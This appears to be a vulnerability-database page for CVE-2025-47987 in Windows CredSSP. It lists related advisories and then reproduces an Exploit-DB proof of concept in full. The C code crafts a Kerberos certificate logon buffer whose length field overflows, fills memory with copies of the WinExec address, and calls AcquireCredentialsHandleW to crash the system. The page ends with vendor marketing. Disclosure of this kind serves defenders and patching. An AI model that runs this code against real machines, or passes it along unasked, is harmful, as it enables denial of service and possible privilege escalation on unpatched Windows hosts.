| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
| Exploit for Integer Overflow or Wraparound in Microsoft | 4 May 202601:01 | – | githubexploit | |
| CVE-2025-47987 | 8 Jul 202515:56 | – | circl | |
| Microsoft Windows 安全漏洞 | 8 Jul 202500:00 | – | cnnvd | |
| Microsoft Windows Elevation of Privilege Vulnerability (CNVD-2025-16777) | 21 Jul 202500:00 | – | cnvd | |
| CVE-2025-47987 | 8 Jul 202516:57 | – | cve | |
| CVE-2025-47987 Credential Security Support Provider Protocol (CredSSP) Elevation of Privilege Vulnerability | 8 Jul 202516:57 | – | cvelist | |
| Windows 11 23H2 - Denial of Service (DoS) | 30 Apr 202600:00 | – | exploitdb | |
| EUVD-2025-20650 | 3 Oct 202520:07 | – | euvd | |
| July 8, 2025—KB5062561 (OS Build 10240.21073) | 21 Aug 202507:00 | – | mskb | |
| July 8, 2025—KB5062570 (OS Build 25398.1732) | 21 Aug 202507:00 | – | mskb |
# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 2025-08-22
# Exploit Author: Kryptoenix
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-us/software-download/windows11
# Version: Windows 11 23H2
# Tested on: Windows 11 23H2 (x64)
# CVE: CVE-2025-47987
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <credssp.h>
#include <stdint.h>
#include <wchar.h>
#pragma comment(lib, "secur32.lib")
#define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))
int BuildKerbCertLogonBuffer(
const WCHAR* username,
const WCHAR* domain,
const WCHAR* password,
const BYTE* certBlob,
DWORD certBlobSize,
BYTE** outBuffer,
DWORD* outBufferSize)
{
if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;
uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));
size_t offsetUser = 0x48; // header is fixed 0x48 bytes
size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);
size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);
BYTE* buf = (BYTE*)malloc(totalSize);
if (!buf) return -1;
memset(buf, 0, totalSize);
// 0x00: type
*(uint64_t*)(buf + 0x00) = 13ULL;
// username entry
*(uint64_t*)(buf + 0x08) = usernameLen;
*(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;
// password entry
*(uint64_t*)(buf + 0x18) = passwordLen;
*(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;
// domain entry
*(uint64_t*)(buf + 0x28) = domainLen;
*(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;
// cert offset/size
*(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
*(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
*(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;
// payload copies
memcpy(buf + offsetUser, username, usernameLen);
memcpy(buf + offsetPassword, password, passwordLen);
memcpy(buf + offsetDomain, domain, domainLen);
memcpy(buf + offsetCert, certBlob, certBlobSize);
printf("\nHeader of packed buffer (first 64 bytes):\n");
for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
printf("%02x ", buf[i]);
if ((i & 0x7) == 0x7) printf("\n");
}
printf("\n");
*outBuffer = buf;
*outBufferSize = (DWORD)totalSize;
return 0;
}
BYTE* BuildFakeCspData(
const char* str,
size_t strLen,
DWORD providerValue, // stored at header[5]
DWORD* outSize)
{
if (!str) return NULL;
size_t lenChars = strLen + 1;
size_t stringBytes = lenChars;
size_t headerBytes = 44; // 40-byte base + one DWORD offset
size_t totalBytes = headerBytes + stringBytes;
if (totalBytes < 0x30) totalBytes = 0x30;
BYTE* buffer = (BYTE*)malloc(totalBytes);
if (!buffer) return NULL;
memset(buffer, 0, totalBytes);
// header[5] = providerValue
((DWORD*)buffer)[5] = providerValue;
// header[6] = offset for string (in bytes from start of data area)
((DWORD*)buffer)[6] = 0;
// copy the string into the data area
BYTE* stringArea = buffer + headerBytes;
memcpy(stringArea, str, lenChars);
printf("Header of CSP buffer (first 44 bytes):\n");
for (size_t i = 0; i < headerBytes; ++i) {
printf("%02x ", buffer[i]);
if ((i & 0x7) == 0x7) printf("\n");
}
printf("\n\n");
if (outSize)
*outSize = (DWORD)totalBytes;
return buffer;
}
unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
size_t len = sizeof(void*); // 8 bytes
unsigned char* buf = (unsigned char*)malloc(len);
if (!buf) return NULL;
memcpy(buf, &ptr, len); // copy pointer value into buffer
if (outLen) *outLen = len;
return buf;
}
unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
size_t totalLen = patLen * repeatCount;
unsigned char* buf = (unsigned char*)malloc(totalLen);
if (!buf) return NULL;
// add padding for pointer allignment
memset(buf, 0, 4);
unsigned char* p = buf + 4;
for (size_t i = 0; i < repeatCount; i++) {
memcpy(p, pattern, patLen);
p += patLen;
}
return buf;
}
wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
if (!pattern || repeatCount == 0) return NULL;
size_t patLen = wcslen(pattern);
size_t totalLen = (patLen * repeatCount) + 1;
wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
if (!buf) return NULL;
wchar_t* p = buf;
// copy pattern repeatedly
for (size_t i = 0; i < repeatCount; i++) {
wmemcpy(p, pattern, patLen);
p += patLen;
}
*p = L'\0';
return buf;
}
int main(void)
{
size_t addrLen;
unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
if (!addrBytes) {
fprintf(stderr, "Failed to allocate address bytes.\n");
return 1;
}
size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
if (!hugeStr) {
fprintf(stderr, "Failed to allocate huge buffer.\n");
free(addrBytes);
return 1;
}
DWORD fakeSize;
printf("Building fake CSP buffer...\n\n");
BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);
if (!fakeCsp) {
wprintf(L"Allocation failed\n");
return 1;
}
wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
//getchar();
SECURITY_STATUS status;
CredHandle credHandle;
TimeStamp expiry;
const WCHAR* username = L"exampleusername";
const WCHAR* domain = L"exampledomain";
const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";
BYTE* buf = NULL;
DWORD bufSize = 0;
printf("Building fake KerbCertLogonBuffer...\n");
if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
printf("Failed to build KerbCertLogonBuffer\n");
return 1;
}
printf("Trigerring the bug...\n");
status = AcquireCredentialsHandleW(
NULL,
(LPWSTR)L"TSSSP", // pszPackage (name of the security package)
SECPKG_CRED_OUTBOUND,
NULL,
buf, // pAuthData (pointer to authentication data)
NULL,
NULL,
&credHandle,
&expiry
);
if (status == SEC_E_OK) {
printf("AcquireCredentialsHandle succeeded\n");
FreeCredentialsHandle(&credHandle);
}
else {
if (status == SEC_E_INSUFFICIENT_MEMORY) {
printf("Not enough memory to trigger the crash :(\n");
printf("[-] PoC failed!\n");
}
else if (status == SEC_E_INTERNAL_ERROR) {
printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
}
else {
printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
printf("[-] PoC failed!\n");
}
}
if (buf) free(buf);
if(hugeStr) free(hugeStr);
if(fakeCsp) free(fakeCsp);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation